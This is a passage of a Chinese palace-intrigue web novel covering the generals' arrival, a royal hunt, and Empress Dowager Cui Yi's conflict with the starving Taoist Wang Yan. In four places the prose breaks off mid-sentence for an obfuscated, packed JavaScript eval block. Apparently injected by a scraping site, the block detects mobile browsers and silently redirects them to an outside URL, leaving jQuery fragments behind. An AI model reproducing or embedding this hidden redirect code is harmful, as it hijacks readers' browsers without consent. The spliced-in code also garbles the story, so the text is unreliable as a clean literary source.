先帝的虎符在谁手中?太傅与身旁几人面面相觑,望向卫秀,卫秀倒也没避开,露出个不谙世事的笑。 太傅上前行礼:“臣有一言,如今宫中修缮新殿,国库中的银子逝如流水,左副将与祝军师入朝面圣若是再大摆阵仪,恐怕……” “太傅,”崔仪望着他,与他商量,“我听说丰宣与乾恒在位时,为了供奉上清道观中的圣人,每个月光是贡香开坛都要花出去数以万计的银两。” 她好声好气:“如今圣人就在宫中,开坛的银两就可节省下来。最紧要的是,长戈山大营中的将士吃了不少苦,此举也可稳住军心。” 王太傅老态龙钟,坐在席间不说话时和死人无异,他口齿尚算清晰,只是举手投足都迟钝缓慢,仿佛下一秒就要当场驾鹤西去,崔仪不想为难老人家,除非他自己想不通。 太傅心知王厌在宫中,他用眼神示意礼官上前提异,但这礼官是谢家旁亲,谢家又和崔家交好,为免节外生枝,只当不曾收到这示意。 此事就这样定了下来,祝令梅还有两日进京。 朝中政务不多,丰宣留下的烂摊子也在卫泠病中收拾了近半成,另一半烂摊子,朝臣不急,那崔仪也不急。 她如今只是代管朝政,生怕这群人哪天翻脸不认人要将她踹下这条船,届时岂不是白费功夫,崔仪不想做无用的努力。 9. 进京 罢朝后,崔仪和卫秀转到一旁的慎思殿议事。 卫秀坐到长案边,紧绷的情绪到这时才泄气,他立刻让太监送来常服,后怕道:“没想到上朝这样累,几百号人,若是没有母后,儿子真不知要如何是好。” 卫泠病中不曾让他代为理政,发病初期谁也想不到他会就这样死去,多是让崔仪帮忙。 宫婢正在布茶,崔仪望着茶汤中漂浮旋转的茶叶,伸手接过。 “往后临朝,这些人不会聚在一块儿,陛下不必忧心。”她用余光扫了眼过去,“这点小事都让你难以应对?” 实在不像卫家人。 卫秀只是笑,没有接话,去了侧房更衣,再出来时,不仅换下朝服,还将玉冠卸下,仅用一根簪子将墨发挽在脸侧。 他也是卫家人,样貌是好,但与卫泠和当初的丰宣皇帝都不像。 卫泠其人生得似玉般温润,脸上总是挂着笑,这一点和丰宣相似。 世人也追捧这样的样貌,其中翘楚就是王厌,但他并不爱笑,崔仪曾听友人说王厌这样的人物只能远观。 唉,她非但没有远观,还近身狠狠亵玩。 罪过啊…… “母后。”卫秀的声音打断她的思绪,他让人递上来几张折子,“两位进京的将士是您的旧识,礼制上儿子不便插手,您看吧。” 惜云将折子递上,崔仪低眉将礼官粗略选好的案子批过。 “左青与祝令梅都是曾经追随先帝上阵的悍将,本是想来拜见你父亲,没想到……”崔仪的话尾低了下去,无奈道,“我庄重迎之,不仅是给她们一个交代,更是给军中的将士们一个交代。” 卫秀听着又露出悲颜:“父皇与你上阵时,我、我实在年幼,不曾陪伴,让我如何面对这些将士?” 也不全是他的错,崔仪想起他当初的样子,迟疑:“你当初那个身板也上不了战场。” 虽说卫秀早就被送去习武,但此人在武学上的天赋实在差劲。 有一回崔仪和卫泠得闲,在林中狩猎,卫秀也骑在马上追随,年少的他被马背颠得难受,最后直接从马上摔了下来。 别说是一生好战的卫家人,就是崔仪那个斯文秀气的妹妹,上了马也能很好地将其驯服,至少不会从马背上摔落地面…… 更何况,男儿十二岁也不算小,军中多得是十几岁就披甲上阵之人,卫秀非但不能杀敌,骑个马都要摔下来,叫卫泠好没面子。 卫秀恐怕也想起了当日之事,面上羞红:“我晓得,当初狩猎时我摔下来,父皇不曾管我,还是母后先来看我的伤势。” 幸好没什么大碍,只是胳膊摔肿了,静养一个月,往后卫泠就不再逼着卫秀习武,让他好好念书。 “正因我体弱,不能帮你们分忧,才让我内疚。”卫秀咬唇,“母后看着来吧,别让军中将士们寒了心。” 崔仪的确没想着客气,大手一挥在册子上勾了下去。 礼官着手操办,上上下下忙成一团,崔仪又吩咐了句:“这些时日太常寺的人都辛苦了,吩咐下去,给官员们加两个月的俸禄。” 从王厌身上省下的银子,如今有得是地方花。 此人的皮相清心寡欲,内里也的确纯白若雪,只是不知太傅借着这朵玉兰花,赚出了多少的金山银矿。 太监将旨传下去,三日后,祝令梅与左青入朝。 二人身穿盔甲,骑在白马之上,这一日城门大开,城墙上的士兵奏起庄重鼓乐,旁观的百姓听说这是长戈山军营中的将士,都挤着往前看。 礼官自然设宴款待,但在入宴之前,崔仪与卫秀坐在皇家的仪队中,领着左青与祝令梅上了皇陵外,不曾深入,只是远远望着。 左青和祝令梅从马上下来。 祝令梅上前行礼:“末将拜见陛下……” 卫秀还不等他说完,立刻道:“免礼,免礼!朕听母后提起过你们的事情,此礼受之有愧。” “谢过陛下。”祝令梅抬起脸来,很快就与崔仪的视线撞上。 常年在军营中,祝令梅肤色较深,这使得旁人并不会很快就注意到她面上的眼罩。 她只有一只眼睛,另一只眼在当年前的战役中被一箭射穿,但她竟忍痛一声不吭,直到崔仪带着人马找到她时,那只箭矢依然留在她的眼眶中。 在那之后,祝令梅自请退下前线,卫泠将她封为军师祭酒,行军时出谋划策。 崔仪见了她,主动道:“多日不见,祝军师身子可好?” 出人意料的是,祝令梅的反应不大热络。 她用剩下的一只眼睛,盯着崔仪的宫装看了好一会儿,脸上情绪十分震撼,不过她还是很快就收敛这份惊讶,跪下身:“有劳太后娘娘挂心,臣身体尚好。” “那就好。”崔仪点点头,“有你和左青在营中,本宫才能放下心来。” 左青和祝令梅见过了当今的圣上和太后,转而望向皇陵,哀叹道:“怪我们来得太晚,不曾见到先帝最后一面,只是没想到这病如此严重,竟然……就这样去了……” 左青说着话,想起行军的日子,脸上不由自主流下泪来:“先帝行军时对将士们都有照拂,没想到长戈山一别,是与他的最后一面。” 崔仪看着他们落泪,并不阻止,也不说话,祝令梅也同样忧伤,但这远远不及左青。 身为副将,左青生得也是人高马大,哭起来却没完没了,仿佛当场就要哭死在山道中,直到有道人前来撒下纸钱,左青才依依不舍地撕下军袍一角,声称来世还要追随卫泠。 去了皇陵之后,宫中还有夜宴,请来的人不多,只是将家眷请来,崔仪的父亲来了,连带着谢家也来了人,这回来的是混不吝的嫡子谢既,崔明意也站在他身旁。 崔明意的气色看着比上一回要好上不少,她行了个礼,却不叫太后,而是唤了声:“姐姐。” 太师斥责她无礼,崔仪摆手道:“今日家宴,不必拘束。” 卫家也来了人,其中就包括卫秀那两个叔伯。 这二人不成气候,只想着淫乐,祝令梅和左青看不上,卫秀心中也有数,将两个叔伯安排坐到远一点的地方。 卫秀举起杯盏道:“路途奔波,二位将士不必客气。” 崔仪使了个眼色,宫人将她的杯子倒满,她也抬起了手:“这一杯,代先帝敬过你二人。” 她将酒水一饮而尽,祝令梅和左青应下这杯酒,都豪爽饮下。 酒过三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791561|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巡,崔仪喝得有些多了,她看这席上觥筹交错,往来谈笑,她却无法挤出一丝笑容,哪怕是应付。 她仿佛神思不再清明,连忙让惜云搀扶着她外出吹风。 园中的梨花仍然未开,明月当天,崔仪在夜风中吹了半晌,脑中的昏胀被吹散几分,恰在此时,祝令梅也跟了上来。 “太后。”她行了个礼。 四周的长廊上站着准备伺候的宫人,崔仪扶了扶头上的簪花,柔柔一笑:“祝军师也不胜酒力?” 她嗓音柔和,听得祝令梅悄悄用眼神斜她,忍着不适道:“让太后见笑。” 崔仪看这夜色无边,好心劝她:“行军劳累,如今又旅途奔波,祝军师若是不胜酒力,早日歇下吧,陛下不会怪罪。” 祝令梅颔首:“只是不想辜负陛下一番好意。” “你若真不想辜负,就更该去歇着了,”崔仪淡声,“陛下已经吩咐围场的人,明日狩猎,还有京郊军营的将士前来观摩。” 祝令梅愣了愣:“这是陛下的意思?” 崔仪也没想到卫秀会打算得如此细致,于祝令梅而言,困在宫中“歇息”远不如外出纵马来得爽快……他小心谨慎地提起此建议时,还腼腆道:“自从去年入冬,父亲病重,母后这几个月都很辛苦……想必母亲也待得无聊了。” 不仅崔仪和祝令梅要去,今日宴上的人也该去,崔仪颔首:“是的,陛下的意思。” …… 宫宴散去,崔明意和谢既回了府上。 洗浴过后,谢既紧紧地将崔明意揽入怀中。 上回崔明意向上天求来一子,当天夜里拉着谢既兴师动众地弄了许久,从浴房到床塌,后来谢既实在累了,弄不出来,被崔明意狠狠扇了两个巴掌,他哭着又来了两回,总算让崔明意心满意足。 她笃定上一回定然求子成功,这几日心情很好,连着几日都对谢既笑脸盈盈。 此刻抱着崔明意,谢既只觉得无比幸福,想起明日之事,悄声道:“明日狩猎,咱们去露个面就好,反正圣上不是给咱们摆的。我们找个借口开溜,我带你去看斗鸡如何?” 崔明意嗔道:“我才不要,明日姐姐也要狩猎射箭,许久不看,我怎么能错过。” 谢既苦不堪言:“这还用看么,有她在,谁能比得过?” 当初崔仪百步穿杨的箭法让京中的郎君们都甘拜下风,凡是有她在的场合,旁人想尽办法推辞,若是比纵马射箭,去了也只能争第二。 “去学上一些也好。”崔明意伸手到他胸口,揪起一把玩弄,“不过姐姐当了太后,日后还能时常骑马射箭吗?宫中不比咱们外头。” 谢既断断续续道:“正因此才说进宫无趣,做皇帝规矩更多,正如我,我也不想做皇帝……做皇帝多没意思……哎哟!” 话未说完,崔明意手上忽然加重了力气,还在被子中踹了他两脚:“说的什么没志气的话?你倒是慷慨、倒是大方!口口声声不想当皇帝,你不想当,我还想当皇后!实在不行,皇帝让我来当。” 她气不打一出来:“你就是家中惯着,什么都有,才能说出这样的话来,哼。” 谢既赔笑:“夫人,我错了,我再也不说这样的话。” 10. 围猎 宫宴上喝了酒,崔仪夜里睡得不安稳,翌日还得早起上朝。 起身后,崔仪的头隐隐作痛,本就不快,又想到要坐到席上应对些不痛不痒的事务,她更觉疲累烦躁。 今日上朝只来了京中的一小批官员,如此轮值,皇帝没在大堂内议会,改到小堂中。 雪色的珠帘垂纱,将朝臣与天子隔开,崔仪坐在卫秀身旁,冷着脸听了会儿,没什么紧要事,闭着眼昏昏欲睡。 熬过了众人的上书进言,应付了两句,朝会就这样散了。 人群一退下,崔仪就精神抖擞,半点也不困,连带心情也好了不少。 她吩咐惜云:“走吧,回宫更衣准备去猎场。” 卫秀与崔仪行了礼,也自行回宫更衣。 一个时辰后,崔仪与卫秀到了猎场。 祝令梅与左青早已等候在此,崔明意和几个京中同龄世家子也在,见太后与陛下前来,众人都上前行礼。 崔仪不吭声,卫秀望她一眼,才敢开口:“都免礼,今日围猎,只求尽兴,不用拘束。” 今日是个晴朗的好天气,轻风若絮,入了春,寒意早已褪去。 左青谢恩之后,站直身子,直言道:“太后身手了得,许久不曾领教。” “是吗?” 崔仪笑着开口,谦虚道,“左副将言重了,论身手,我不是你的对手。” 因要上马,崔仪穿了身檀色直袖便装,玉冠上镶着朱红色的宝石,隐于发间。 左青性格很耿直:“半点不曾言重,骑射之术,至少军中人都是您的手下败将!” 卫秀和和气气道:“母后过谦了,只是半年不曾上马,也该热热身子。” 围场内设有练习用的靶子,不过是围成一圈的木靶,上马者须得在马背上绕圈骑行、拉开弓箭,射中靶心。 能来皇家围场狩猎的都是个中高手,最基础的直线靶这里没有。 在崔仪的默许下,众人都上马热身。 第一个上场的是崔明意,她骑得一匹深棕骏马是当初和崔仪一起挑选的,这匹马性情温顺。 今日她穿了身翠绿的短衫,轻飘飘翻了马背,动作灵动顺畅,取出弓来,纵马而行。 这把弓崔仪没见过,相较于崔明意的身型,此弓过于沉重,果不其然崔明意拉弓之时面上流露几分吃力,好在她惯会用巧劲,在马背上跑了两圈,连发数箭,有一半都中了。 “这是太后的妹妹,崔家嫡女崔明意。”有人小声,“这弱不禁风的模样,没想到弓使得不错。” 崔明意才女之名在外,外人都道她是斯文秀气的柔弱妇人,能拉开这么长的弓,已叫人意外。 谢既大声道:“我夫人自小习武射箭,你们只是不曾见过。” “哈哈,”有人接话,“文武双全,叫人敬佩。” 谢既得意。 崔明意下了马,到崔仪与卫秀跟前,面上已出了汗。 “献丑了。” 崔仪这会儿心情尚好,笑道:“妹妹婚后不曾懈怠箭术,倒是勤勉。” 崔明意压抑着骄傲之色,咬唇:“不敢与姐姐相比。” 的确不敢比,也没人想和崔仪比。 除了卫秀、祝令梅与左青,其余人热身之后,崔仪最后一个上马。 她翻身骑上墨色宝驹,接过惜云递来的玉色长弓。 这把弓是卫泠给她打的,珍木奇犀,连涂料都是在上百种不同的颜色中挑选而出。 崔仪接过弓箭,御马前行,数月不曾射箭,她是有些生疏,不过很快就找回了节奏,稳住上身,拉开弓弦,两圈八个靶子尽数打中。 场上之人并不意外,毕竟崔仪的骑射一向出名,不过还是说了些恭维之语,崔仪淡笑谢过,总算是正式进了林中。 今日围猎有个彩头,捕猎最多的胜者可得稀世宝珠一枚,崔仪不需要,也不想参与这排名,故此并不算在其中。 她与祝令梅、崔明意、以及另两个面生的世家公子一队,另几个人一队,至于卫秀,他称病在场外等待。 本就身子不好,若是再当众从马上摔下来,实在有损天家威严。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791562|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一行人深入林中,祝令梅常年行军,是少数不多能紧紧跟着崔仪的,二人你前我后,走了没一会儿,崔仪发觉祝令梅不好好狩猎,一路跟着自己,两人对视一眼,是祝令梅先抽了抽马鞭,扬长而去。 崔仪挑眉接受她的挑战,也跟着深入林中,余下另几人面面相觑。 不过,崔仪的名号,旁人还是懂的,也没放心上:“太后与咱们玩不到一块儿去,也只要军中人能和她比试比试。” “就是嘛,留在此处,只怕她觉着无趣,咱们自个儿玩吧。” 崔明意狠狠剜了他们一眼,恨不得撕了他们的嘴,她冷笑一声,骑马打猎去了。 两匹马的马蹄声急促交加,走得远了,四周听不到旁人的声音,崔仪早已追上祝令梅,她行马时上身很稳,几乎不动,祝令梅也不曾全力往前。 距离相近时,祝令梅忽然借力下马,往崔仪的马背上来,从腰间掏出一把匕首,崔仪见到她那把断刃,面色一变,转手抓住祝令梅的手腕,又从自己的袖子中拿出一把锋利的弯刃。 刀刃相接,二人却都停了动作。 祝令梅笑了声,松开动作,下马整理好衣裳。 “哼……昨日见你我就在想,穿那裙子磨磨蹭蹭,抬个胳膊都费劲,若想杀你,真是轻而易举。” 崔仪也收起短刃,笑眯眯道:“你这俗人懂什么?更何况衣裙中藏了好几把匕首。不过你胆子真大,叫人看见你对我动手,你的性命就危险了。” “崔太后,你没这么小气。” “你刻意引我来此,是为了与我说正事吧?” 两人牵着马往前走,崔仪问她:“多日不见,你一路赶往京中,浪费这样多时日,连卫泠的死都没赶上。” 祝令梅叫冤:“你又不是不知,一路上还带了个拖油瓶,赶路太快,她就先撑不住病死了。” 崔仪气道:“我还不曾治你的罪,谁允许你将她带来?你知不知道京中多少眼线?” “是呀,”祝令梅理所当然,“所以我将她留在京郊外了,这不是没死,怕什么。” 11. 昏迷 祝令梅早就来信提前说了此事,崔仪仍然难以认同:“你就这样将人带来,万一死在路上,我岂不是前功尽弃?” 她的担忧不是捕风捉影,然而祝令梅就没这样谨慎,拽着马鞭道:“又不是豆腐做的,哪儿那么容易死?天天闷在院子里养病喝药,又不让人往外走,还没病死就郁郁寡欢死过去了。” 崔仪冷哼:“跟你这俗人真没话说。” 她走在前头,祝令梅追上去:“你没话说,我倒还有话要问你!” 她严肃了些:“卫泠真死了?这是否太猝不及防……” 崔仪顺了顺马儿光亮的皮毛,反应过来:“你怀疑他是被人害死。” 祝令梅默认:“卫家人难道天生都是短命鬼?丰宣实在自个儿活该,他爹是受了重伤,怎么到卫泠这儿生个病就没了,实在反常。” “你都能想到,我不会看?”崔仪真是没好气,“他的脉案我都看过,喝的药也是我让人送去的,要是有人能害他,那就只有我。” “你!”祝令梅讶然,居然信了,“你敢谋杀陛下、谋害亲夫!” 她惊讶之余,将手往崔仪脸上一指,崔仪一把抓着她的手往回掰:“我杀他干什么?再胡言乱语,小心把你另一只眼睛也抠出来。” “不是你动手,也不是旁人动手,他真的病死了……”祝令梅愕然站在原地愕然,许久才道,“你我算天算地,到最后不如天算啊。” 卫泠的死讯过于突然,就算看了他的陵墓也没有实感。 崔仪说不上是个什么滋味儿,不过长远来看,卫泠的死是好事一桩。 再三确保卫泠并非诈死后,祝令梅又问了些京中之事,打马回去时,她想起卫秀这么个人:“这个皇帝是你和卫泠的儿子?唯唯诺诺,既不像他,更不像你。” “卫秀是个苦命人啊,”崔仪喃喃道,“他自小流亡,母父死在路上,这才被丰宣送给卫泠。” 祝令梅哈哈一笑:“苦到最后当了皇上?我看也是威风得很!他怎么不来打猎?” 想起卫秀从马背上摔下来的惨状,崔仪评价:“弱不禁风,难堪大用。” 她不参与围猎,独自回了营地时,其余人还不曾回来,不过隐约能听到马蹄奔波声,看来林中的争夺很激烈。 宫人迎上来马牵到一旁,卫秀上前,很是意外:“母后回来得这样早?” 崔仪失望:“太久不上马,生疏,人也累了,还是歇着吧。” 她坐上软椅,用了些热茶,没等太久,林中的人一同出来。 崔明意似乎很想赢下这场狩猎,随行的马背皮袋中装满了动物,甚至她的衣裙上都沾着血迹,谢既见状立刻上前关切。 她向来好胜心很强,崔仪是知道的,赞赏两句,此事就这样过去了。 卫秀让人一同进宫用膳,回宫后崔仪懒得动了,不曾更衣,落座在殿中。 美酒佳肴陆续送上,崔仪本不想喝了,还是没忍住陪祝令梅用了两口。 在场之人大多年岁相仿,氛围融洽。 为免无聊,卫秀叫了人上前舞剑,剑光转动中,惜云又低声:“太后,王三晕过去了。” 崔仪正在饮酒,闻言瞥了眼卫秀,她莫名道:“怎么又晕了?染了什么病?” “不曾生病……”惜云迟疑,“太后要去看看吗?” 歌舞之宴一时半刻不会结束,崔仪思索片刻,搁下酒杯。 “去看一眼就回来。” 丝竹声中,卫秀不曾听清惜云与崔仪的谈话,但母后那别有深意的眼神让他不安,他当即起身跟了上去。 太监们领路前行,自从上回王厌起烧病重,崔仪安排卫秀给他换个宫院。 臣子身份,能住的院子不多,尤其是宫内还有一半在修缮,卫秀也只挑了个的看得过去的宫殿勉强住着,崔仪住在静处,此刻宫中最大的宫殿就给了王厌。 卫秀不仅把最大的院子给他,还拨过去不少仆人伺候,崔仪一路上就想不明白,在这样的侍奉下,王厌是如何又晕了过去。 宫口站着的太监将崔仪领进去,门一推开,就闻到淡淡的兰香。 宫里头站着一排人,为首的就是太医章德清,他已收好药箱。 王厌正倚在院中的靠椅上,半躺在上头,雪色的衣衫、如墨青丝凌乱落在肩头。 他的额间蒙着白布,神情淡淡,不知在敷什么药,苍白消瘦的胳膊露出一截在衣袖外,骨瘦嶙峋。 见崔仪过来,王厌的面色更不好,他恹恹望来,在见到她一身的装束后,愣了许久,竟忘了开口。 “陛下驾到!” 太监的声音将他惊醒,宫人们跪地迎接卫秀,卫秀挥手,焦急走到崔仪身旁,又看了看王厌,见他醒着,似是松了口气。 “道长醒了?朕听说你又病了,立刻与母后赶来。章太医,你来说,道长为何晕了过去?” 章德清抱着药箱,行礼后打量一眼四周:“陛下要臣在此说?” 卫秀窒了瞬,困惑道:“有何不便之处?” 章德清面无表情道:“没有,只不过王三郎是饿晕了过去。” 场上霎时鸦雀无声,宫女太监又跪了一地,不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791563|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出声。 “怎么可能?”卫秀哑然,不可置信地问宫内掌事太监,“毕福,难不成你从不给听竹殿送膳?你敢克扣此处的吃穿用度?!” 偌大的皇宫,还能将人活活饿晕,传出去岂非让天下人耻笑。 毕福拖着肥胖的身躯喊冤:“奴才冤枉,奴才实在冤枉!御膳房的吃食,奴才顿顿不差地送了过来,是……是道长他不吃啊……” 崔仪始终没有出声,望着软靠上病容苍白的王厌,王厌也看着她。 他许久没见她这样的打扮,一时恍惚,仿佛回到了五年前,他在道观中诵经,她时不时翻墙来见他…… 被回忆触痛,王厌咳了几声,章德清道:“王三郎体虚了些,久不进食晕了过去,仅此而已,并无大碍。” 太医走了,只让他慢慢补身子。 崔仪这才开口:“道长为何不肯用膳,若是死在宫中,你的族人会很伤心。” 听到这话,王厌目中似有痛色,他很快又别过脸,轻声笑了:“这不就是太后想要的吗?” 崔仪不明所以:“我为何要你死?你不用膳,难不成是我的主意?” 他的侧脸瞧不出神情,约莫是哀伤的。 宫内一片静默无声,直到一个从王家带来的仆人,跪倒在崔仪脚边。 “太后!太后明鉴,并非郎君不肯用食,而是送来的吃食郎君难以下咽啊。”仆人哭道,“郎君自小用得清淡、不沾荤腥,宫中送来的吃食,样样都少不得这些,奴才跟太监们求情,毕福公公说,说……” 仆人不敢说下去,眼神往卫秀身上飘去,崔仪冷冷睨过去一眼,卫秀以往艳丽的脸上此刻全无血色。 他走上前,将仆人扶起来,又转身向崔仪嗫嚅道:“母后……是我吩咐的,但儿子不知道、我真的不知……先前道长病重,我想着他如此虚弱,吩咐御膳房对听竹殿多加照拂,我不知他吃不得这些。” 卫秀一字一句为自己辩解,泫然欲泣,让崔仪不禁想到那天清晨,刚死了父亲的卫秀也哭得这样红了眼尾。 她让宫人退了出去,只留下贴身伺候的在院中。 王厌坐在原处,听着卫秀的解释,淡漠的神情找不出丝毫波动,面对崔仪的打量,他也只是避开视线,不愿向她服软。 漫长的缄默让卫秀惶恐,他又道:“母后,我绝非有意为之……” “够了,”崔仪无奈打断,让惜云将自己的帕子递给他,“别哭了,成何体统,我自然信你。” 卫秀又不知晓王厌自小的饮食习惯,弄巧成拙也是人之常情,怪不得他。 12. 晚了 崔仪没有对卫秀说一句重话,他却因内疚而泪盈于睫,羞愧之情溢于言表。 “只是不知要如何补偿道长。”他这样道。 一个傀儡皇帝没什么可补偿的,最后还得看崔仪眼色。 此事已被王家的奴仆知晓,崔仪正想着此人的命要不要留着,一旁的王厌出了声。 “小事而已,不必介怀,只当戒食。”他勉强站起身,发间白色的绸缎似乎要滑落,被他用指尖压了呀,继而对方才那个仆从道,“这样的小事,你声张什么?退下去。” 崔仪不想用奇怪的眼神瞧他,可目中还是没忍住露出一丝鄙夷和担忧。 鄙夷是因他看起来病弱不堪却还想着给别人保命,担忧是因崔仪怕他真死了。 这是她年少时心动的人,不应当这样狼狈,她心想这些日子王厌估计也受了些委屈,不由将态度放软了些。 “陛下,宾客还在等你,你回去主持宫宴吧。” 崔仪递给毕福一个眼神,毕福连忙起身,恭敬地领在卫秀跟前,打算送他上轿子。 “我……”卫秀似乎还想说些什么,临了,只是怯怯道,“儿子明白了,母后。” 他将此间的事都留给崔仪处理,走前还将多余的仆人赶了出去,本就宽敞明亮的庭院一下子都空旷出来,只听得院中的树叶沙沙作响。 王厌平淡道:“有劳太后,这的确不是大事,太清道观中时常禁食,是臣身边的下人没有分寸,前去通报,惊扰了您。” 崔仪不语,只凝着他,眼神掠过王厌单薄的肩头。 他比重逢那一日还要瘦,隔着宽服,隐约能看出他肩处骨骼凸起的轮廓。 她实在是说不出重话,又恼怒王厌方才那倔强的神色,最后径直入了他的殿内。 “王三郎不请本宫进去坐么?” 由不得王厌出声表态,他身旁的太监已扶着他往里走,正殿之内,崔仪坐在椅中,让惜云吩咐膳房下去煎药、送些清淡的粥点。 还不等崔仪出去,卫秀身边的另一个小太监就跑进来探着脸通报:“陛下已经吩咐过了。” 听得此话,崔仪望向站在门口的王厌,轻声道:“你瞧,他不是有意的。” 王厌本不在乎这些身外之物,就算是存心断他吃食又如何,旁人排挤他,他未必要反击回去,如今身处宫中,自然多有不便。 可听见崔仪这样说,他还是情不自禁地伤神。 他能够忍下这些委屈,却不能忍受崔仪这样偏袒旁人……新帝怎么会不知? 他的神色过于明了,崔仪看出王厌在想什么,屏退了下人,没说别的,起身想握住他的手。 “你该好好歇息,别再乱想了。” 王厌避开她的手。 惜云瞪他一眼,守到门外。 屋内,崔仪看着他闪躲的动作,无奈:“你还要生气多久?可别将身子气坏了。” 王厌只道:“何时送我回道观?” 看来是迫不及待想走了,崔仪伤怀:“你何苦这样急切,我们好不容易能在宫中相守,你却又要离开。” “太后说这话,不觉得讽刺么?”王厌多日不进食,声色中透着股无能为力的虚弱,听起来像在轻声细语数落她的过错,“离开的人,不是您么?如今做这些事,竟不怕朝臣议论……” 朝中人还没反应过来,再拖些日子兴许就真的要追问。 崔仪:“我只想留你在我身边近一些,好好弥补这些年的遗憾。” 王厌站不住了,坐下身,说了几句话的功夫,脑中晕眩、四肢无力。 他喃喃道:“遗憾?不甘罢了,都是你做的选择,不应当犹豫。” 今日见崔仪这样的装束打扮,让他恍惚以为回到了数年前,在那样春光明媚的午后,她会避开旁人翻入院中,躲在他的诵经殿,放下长弓、枕在他的胸膛,举着外头的杂书和他一块儿看。 王厌没看过那些书卷,族中不允许,道中也没有。 他第一次外界起了几分兴致,对他而言,崔仪就是他所能接触到的一切。 两人都想起那段日子。 即便王厌从不鲜少外出,他也能猜到,崔仪这般张扬的性情,在外会受到多少人的目光。 于是,她在那群追随者中,选了别人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791564|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不怪她,她是个女子,别无选择,一桩好的婚姻、一位手握实权的夫君,能让她过得更轻松。 王厌无数次这样重复,安慰自己,仿佛这样就能忽略被她抛下的事实。 崔仪想了许久:“和你待在一块儿的那些日子,我此生都不会忘却……可是王厌,和卫泠成婚是我必须要做的。” “必须?你不能抛下名利,因此才是必须。”王厌满不在乎道,“放弃就是放弃,不必要找这些借口。” 他的话不知哪里戳到了崔仪痛处,她转身重重地关上门,“砰”一声响动,屋内霎时暗淡。 她拽着他的衣襟,痛道:“我只是想活得比旁人好、再也没有人看不起我。” 本想说出年少时所受的冷待,崔仪话到嘴边,又实在觉得没必要,她顿了顿,改口:“莫非你不想要名利?” “身外之物,我不在乎,”王厌很快就道,“但我的族人需要。” “你不在乎……”调笑的语气。 崔仪撩起他的衣领:“你在观中的紫袍可知是用了多少名贵蚕丝?一只蚕养不好,是要掉脑袋的。又可知一件件礼袍熬坏了多少绣娘的手?每月中旬太清道观开坛大祭,因你名声在外,本朝一向供着你们,国库银两经太傅的手再拨到观中,一层层下去,你们族人吃了多少百姓的肉、喝了多少百姓的血?” “我们是一样的。”崔仪怜悯地望着他,“可你出生时就有族人托举,我没有。” 王厌久久没说话,不知在想什么,又或是根本没明白。 须臾,他开口道:“我只知道,换做是我,甘愿放下一切和你厮守。” “你如今也可以与我厮守。” “眼前再说这些,已经什么都晚了。” 崔仪气恼至极,将要发作,听到惜云在外面通报说宫人送了汤药和吃食,她动作一顿,改了主意,推门让人将药送进来。 却不是讲食案搁置在桌上,而是放到了地上。 “王厌,你非要如此气我,”她的凤目望着他惨白的脸,残忍道,“既然如此,你爬过来跪在地上吃这些,让我瞧瞧你的骨头究竟多硬。” 13. 屈辱 王厌静静坐在原处,他没有出声,四周一片静谧,细看他那张脸,就连难堪的神色都表达得很克制。 “太后,恕难从命。”他撑在桌上,作势要离去,“臣告退。” 这回不必等崔仪开口,惜云已沉声呵斥:“放肆,王三郎君目中无人,究竟是何教养?” 王厌本就形同死水的面色再次有了波动,他不敢相信、也不愿意相信曾经真心相对的女子,会对他如此残忍。 他绝不能、也绝不会如她所言,跪爬到地上去讨求一口饭。 饥肠辘辘只是小事,不喝药也不要紧,比起肉身上的折磨,他更难以忍受她冰冷的眼神,仿佛做错事的人是他。 崔仪笑道:“惜云,王三郎君总在道观中,不清楚宫中规矩,你不必与他计较。” 惜云称是。 “看来你身边伺候的人也没教好你,”崔仪给惜云递了个眼神,“将他身边的人都送去学学规矩,岂能让王三一再冲撞旁人?” 上回死了两个侍从,王家又塞进来新的,看起来似乎是内院的人,有些面熟,崔仪在心中打消了除去他们性命的念头,王厌却没想到这一层,弱柳扶风般的身躯撑着桌案晃了晃,漾出一阵细细香味。 “你要对他们做什么?”他闭上眼,“我们之间的事,何必牵扯到旁人。” 分明有求于人,还能做出这样清高的样子,崔仪有时羡慕他这样的无知。 